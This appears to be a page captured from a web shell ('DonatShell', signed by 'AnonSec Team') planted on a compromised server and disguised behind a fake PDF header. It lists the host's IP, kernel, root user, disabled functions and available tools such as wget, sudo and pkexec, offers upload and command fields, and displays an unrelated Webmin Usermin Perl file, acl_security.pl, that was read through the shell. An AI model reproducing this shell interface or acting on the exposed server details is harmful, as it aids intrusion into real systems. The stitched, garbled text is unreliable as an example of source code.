%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/root/usr/share/webmin/usermin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/root/usr/share/webmin/usermin/acl_security.pl
require 'usermin-lib.pl';

# acl_security_form(&options)
# Output HTML for editing security options for the usermin module
sub acl_security_form
{
my ($o) = @_;
print &ui_table_row($text{'acl_icons'},
	&ui_select("icons", [ keys %$o ],
		   [ map { [ $_, $text{$_."_title"} ] } &get_icons() ],
		   10, 1));

print &ui_table_row($text{'acl_mods'},
	&ui_radio("mods_def", $o->{'mods'} eq '*' ? 1 : 0,
		  [ [ 1, $text{'acl_all'} ],
		    [ 0, $text{'acl_sel'} ] ])."<br>\n".
	&ui_select("mods", [ split(/\s+/, $o->{'mods'}) ],
		   [ map { [ $_->{'dir'}, &html_escape($_->{'desc'}) ] }
			 &list_modules() ],
		   10, 1));

print &ui_table_row($text{'acl_stop'},
	&ui_yesno_radio("stop", $o->{'stop'}));

print &ui_table_row($text{'acl_bootup'},
	&ui_yesno_radio("bootup", $o->{'bootup'}));
}

# acl_security_save(&options)
# Parse the form for security options for the usermin module
sub acl_security_save
{
my ($o) = @_;
my %icons = map { $_, 1 } split(/\0/, $in{'icons'});
foreach my $i (&get_icons()) {
	$o->{$i} = $icons{$i};
	}
$o->{'mods'} = $in{'mods_def'} ? "*" : join(" ", split(/\0/, $in{'mods'}));
$o->{'stop'} = $in{'stop'};
$o->{'bootup'} = $in{'bootup'};
}

sub get_icons
{
return ( "access" ,"bind" ,"ui" ,"umods" ,"os" ,"lang" ,"upgrade" ,"session" ,"assignment" ,"categories" ,"themes", "referers", "anon", "ssl" ,"configs" ,"acl" ,"restrict" ,"users" ,"defacl", "sessions", "blocked", "advanced" );
}


Anon7 - 2022
AnonSec Team